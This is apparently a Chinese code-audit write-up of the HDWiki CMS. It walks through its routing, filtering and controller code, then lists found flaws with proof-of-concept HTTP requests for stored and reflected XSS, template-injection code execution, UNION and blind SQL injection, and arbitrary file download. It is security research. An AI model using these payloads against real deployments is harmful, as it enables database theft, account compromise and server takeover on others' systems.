本篇文章由团队成员提供:HeiHu577
本文章已在FreeBuf发表
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
0x00 前言
hdwiki这套系统分为两部分通读,它的代码逻辑非常有趣。一部分为程序路由,另一部分为控制器的初始化,为了代码思路清晰,笔者会在通读完这两部分后再挖掘漏洞。
0x01 路由结构了解
我们老样子,整个故事从index.php开始说起。
可以看到13行包含了./model/hdwiki.class.php文件,我们跟进,看一下是怎么玩的。
因为之前将常量统统提取,看到define关键字直接跳过。
在./model/hdwiki.class.php的第8行和第9行分别包含了/lib/string.class.php与/model/base.class.php文件,我们打开简单的看一下是怎么玩的。
可以看到string.class.php文件只是包含了一个string类,这里我们将这个文件留下。
base.class.php文件的逻辑就比较乱了,一堆require引用,这里我们依次打开看一下。
虽然包含的内容比较多,但都是类与方法,这里我们可以先将它们放到这里,等程序需要使用的时候我们再回来看。另外这里需要注意一下base.class.php文件的第13行是定义了一个base类的。
我们回到hdwiki.class.php文件,继续往下看看。
包含/model/base.class.php文件后定义了一个hdwiki类就没有下文了,那么我们回到Index.php文件看一下代码的后续操作是什么。
$hdwiki = new hdwiki();
$hdwiki->run();
这两句代码则为index.php的最后两句话,那么我们开始分析hdwiki这个类。
PHP在new一个类时,会自动调用构造方法,那么一个类的构造方法有两种,1:__construct魔术方法 2:方法名就是类名
这里我们会进入到hdwiki方法中,看到18行调用了init_request方法,我们看一下init_request方法是怎么运转的。
在23-26行中,用来判断/data/install.lock是否存在,不存在则进行跳转,第25行中的exit可知,这里并不存在系统重装漏洞。
在28-36行中,我们可以看到,都是对$querystring进行一些操作。这里我们需要注意自己的逻辑不要出错。
我们在37行中看到,$this->get接收到的是$_SERVER[QUERY_STRING]的值,而不是$_GET的值。并且将它以“-”进行分隔。
38-40行的定义我们注意“substr($querystring, 0, 6) == ‘admin_’”条件,从代码样子上来看应该是对后台模块的特殊处理。这里我们先放下不管他。
49-51行等同于没写,因为如果不存在$this->get[0]以及不存在$this->get[1]程序在42-48行中会强制给他们赋值。
53-55行终于调用了string类的haddslashes方法,我们看一下这个方法到底做了一些什么操作。
将 $this->get($_SERVER[QUERY_STRING])、$this->post($_POST)、$_COOKIE都做了addslashes函数处理。这就意味着我们从外界输入危险数据会被转义。但没有 过滤 $_SESSION, $_REQUEST, $_SERVER,我们可能在代码审计中利用到它们,先记录一下。
在/model/hdwiki.class.php文件的57行,调用了$this->checksecurity()方法,我们看一下逻辑是怎么样的。
可以看到是黑名单过滤。如果匹配到关键字则进入到notfound方法,我们看一下notfound方法是怎么处理这些危险数据的。
我去,直接die掉程序。那么$this->get的过滤就非常严格。我们回到57行继续往下通读。
59-63行只是简单的unset变量操作。
这里我们回到hdwiki这个构造方法中,看一下load_control方法。
我们重点去看80-83行的代码逻辑,因为该分支属于正常的控制器分支。$controlfile的值为 ./control/可控值.php文件,在第81行可以看到包含文件操作。我们这里看一下正常的控制器的逻辑是什么样的。
可以看到程序的控制器的类名都定义为control,OK,我们回过头来继续通读,只是看一眼控制器而已。
可以看到包含之后就没有什么其他操作了。因为在index.php文件中的最后一行中有调用该类的run方法,我们读一下run方法看看是怎么玩的。
run方法的逻辑没有想象当中的那么复杂,其实第88行也就是看一下控制器的原因,该系统将所有控制器的名称都定位为control,所以才有new control这一行的操作。
$exemption后面有注释,是免检方法的标志(免检方法:不会查看当前用户是否有访问权限,都会无任何限制的去调用)。
在94-97行中,如果方法名称为hd,则不会进入到该分支,在107行中的if判断中即可知道,如果方法名称为hd,则不管当前用户权限如何,都会去调用hd方法。所以这里hd就是免检方法。
某个控制器的其他方法,则是根据代码逻辑来判断是否有权限访问限制,如果权限不够,那么禁止调用,如果权限够大,那么可以调用。
我们这里可以在./control/目录下定义heihu_577.php文件,内容为:
<?php
class control extends base{
public function hd(){
echo ‘helloworld’;
}
}
调用结果:
0x02 控制器结构了解
本次通读分为两次通读的原因,是基础控制器也有它自己本身的逻辑。
我们废话不多说,直接看一下普通的控制器。
我们可以看到class control extends base,继承了base类,这个类在我们之前了解框架结构时,有包含到base.class.php文件,我们看一下该文件是怎么玩的。
可以看到base类,定义了同名构造方法(function base)。我们看一下这个方法做了一些什么操作。
可以看到基础控制器居然做出了这么多操作,没关系,我们去慢慢啃它。
首先35行调用了util类的getip方法,从名字上看好像是用来获取ip的,我们跟进看一下。
使用client-ip头虽然可以进行伪造ip,但是后面又preg_match正则校验,所以这里不存在IP伪造漏洞。
我们下面来看一下base.class.php文件的第38行。
$this->db实例化了一个hddb类,我们跟进这个类,看看是怎么玩的。
是处理SQL语句的类,我们回到base.class.php继续通读。
调用了init_cache,我们看一下它的处理结构。
可以看到106行实例化了cache类,而后续代码多次调用cache下的load方法,我们很有必要看一下cache::load方法到底做了一些什么操作。
可以看到程序首先去拿到cache文件,如果文件不存在,那么就去数据库进行调用。
Cache文件的存放位置:/data/cache/缓存文件.php
在56行出现了未经过任何过滤带入数据库的操作,条件是$cachename可控,但是很遗憾,笔者没有找到可控的$cachename调用处。
我们回过头来继续通读。
包含setting、advertisement……
都是一些数组信息,我们需要知道的是,这些数组是从数据库中提取出来的。
我们可以看到将这些配置信息都放入了成员变量中。
我们最好不要对一个缓存来较劲,回过头来继续通读。
我们看一下init_user方法。
这里调用了hgetcookie方法,我们看一下hgetcookie方法是用来做什么的。
只是用来得到cookie信息。
回到init_user方法中我们继续分析。
这里又调用了authcode方法,我们看一下该方法是怎么玩的。
类似于DZ论坛的加密方式,我们从这里可以知道,该程序是有authkey的。
我们回头继续看一下代码逻辑。
可以看到$uid是未经过任何处理,直接带入到数据库当中的。这里我们如果通过一些方式拿到authkey,那么这个点可以做权限维持。当然,authkey是存放在数据库当中的。如图:
但是遗憾在笔者并没有找到破解authkey的方法(前台注入另说)。
我们回过头来继续通读。
可以看到包含/model/doc.class.php并实例化,在271行调用了doc对象的get_unpubdoc方法。我们跟进。
涉及到网站业务逻辑的词条操作,使用SELECT进行查询。
我们回过头来继续审计。
这里init_template方法是用来定义$this->view是template(View)类的实例化,template类我们限制先放到这里不说,到后面我们审计到模板注入时再拿过来细说。
回过头来继续审计。
init_global方法主要调用网站内的业务信息。这里主要关注在261-262行身上。
我们跟进writeLog方法,看一下该方法是如何定义的。
可以看到登录后台的一系列操作都会被写入到日志当中,笔者这里日志被写入到了data/logs/202012_adminaccess.php文件中,如图:
我们回过头来继续通读。
init_mail方法检测/data/mail.exists文件是否存在,如果存在则可以发送邮件等操作。
init_admin是来判断当前的登陆状态,如果非管理员则跳转到管理员登录界面。
控制器结构了解完毕后我们开始挖掘漏洞。
0x03 后台存储型XSS漏洞
存储型XSS漏洞无非就是入库前可插入/修改成未被过滤的Js代码,在前端中显示出来。
在/control/admin_focus.php的doedit方法中。
$summary与$image被string::hiconv函数进行处理,我们看一下该函数的定义。
只要我们不被正则检测到即可直接return回来。
我们再看一下save_focus_content方法。
这里是插入js数据点。
模板文件:/data/view/admin_focus.tpl.php 将 image字段直接输出出来。
如图:
构造HTTP包:
POST /index.php?admin_focus-edit HTTP/1.1
Host: hdwiki.com
Content-Length: 106
Accept: */*
Origin: http://hdwiki.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://hdwiki.com/index.php?admin_focus-edit-58
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_focus-edit-58
Connection: close
did=58&summary=12&image=”><script>alert(1)</script>&displayorder=0&editsubmit=true&doctype=3
发送后访问http://xxx.com/index.php?admin_focus-focuslist进行回显
如图:
0x04 后台模板注入GetShell
这里我们回过头来看一下/lib/template.class.php文件的display方法。
这里直接调用到preg_replace的/e修饰符,preg_replace的第二个参数调用了stripvtag方法,我们看一下这个方法是怎么玩的。
这里只是进行了替换,并不影响我们getshell。
在后台有模板编辑功能,如图:
编辑插入代码:{eval phpinfo();}
结果:
0x05 前台SQL联合注入漏洞
在/control/edition.php文件中的docompare方法。
按照程序作者的猜想应该是:eid只能接收两条数据,然后使用array_slice将这两条数据提取出来。
但,eid不一定只可以插入两条数据,我们可以给他指定第三条第四条第n条数据。
array_slice函数只会截取到前两条数据,这里我们可以将我们的注入代码往前放置,键为0或1往后放即可。
我们看一下get_edition方法的定义。
如果注入成功会进入到else分支,则该类型注入只需要闭合圆括号即可。
构造HTTP请求包:
POST /index.php?edition-compare HTTP/1.1
Host: www.hdwiki.com
Content-Type:application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 159
eid[a]=1) UNION SELECT 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456
如图:
但是没有回显数据出来,是因为程序往后又做了判断。如图:
因为union select 查询到的只是一条数据而已,这里取不到第二条数据。两次union select即可查询出两条数据。我们看一下did字段的存放位置。
可以看到did字段处于第三条数据。那么我们需要构造两次union all select(预防union select 默认过滤),将did相等就行了。如图:
HTTP包:
POST /index.php?edition-compare HTTP/1.1
Host: hdwiki.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
eid[a]=1) UNION SELECT 1,2,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,3,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456
0x06 后台SQL盲注漏洞
是个有意思的点,这里也记录一下。在/control/admin_theme.php文件中有dosaveblock方法,如图:
第546行直接调用block_query方法,将过滤的POST请求直接放置到第一个参数中。
跟进block_query方法。
这里$_POST的key是没有任何过滤的,那么我们可以在key中进行注入。
构造HTTP请求包:
成功延时注入。
0x07 任意文件下载漏洞
在/control/admin_db.php文件有dodownloadfile方法,如图:
本意是下载数据库,这里使用*号代替.号进行跳目录。
成功任意文件下载。
0x08 前台POST反射型XSS
在/control/user.php文件的doinvite方法。
如图:
我们必须想办法让$error置为true,才可以进入到下面分配的分支。
所以这里我们不要被preg_match(“/^[w-.]+@[w-.]+(.w+)+$/”, $mail)所匹配得到才行,进入到757-758行的分支,ps直接输出到前台模板中没有任何XSS过滤,产生反射XSS漏洞。构造HTTP请求:
POST /index.php?user-invite HTTP/1.1
Host: hdwiki.com
Content-Length: 84
Cache-Control: max-age=0
Origin: http://hdwiki.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_db-downloadfile-%2A%2A%2F%2A%2A%2Frobots%2Atxt
Connection: close
toemails=1&ps=<script>alert(1);</script>&submit=%E5%8F%91%E9%80%81%E9%82%80%E8%AF%B7
这种POST类型的反射型XSS,可以搭配CSRF打组合拳。
原文始发于微信公众号(RedCode Team):审计|通读审计之HDWIKI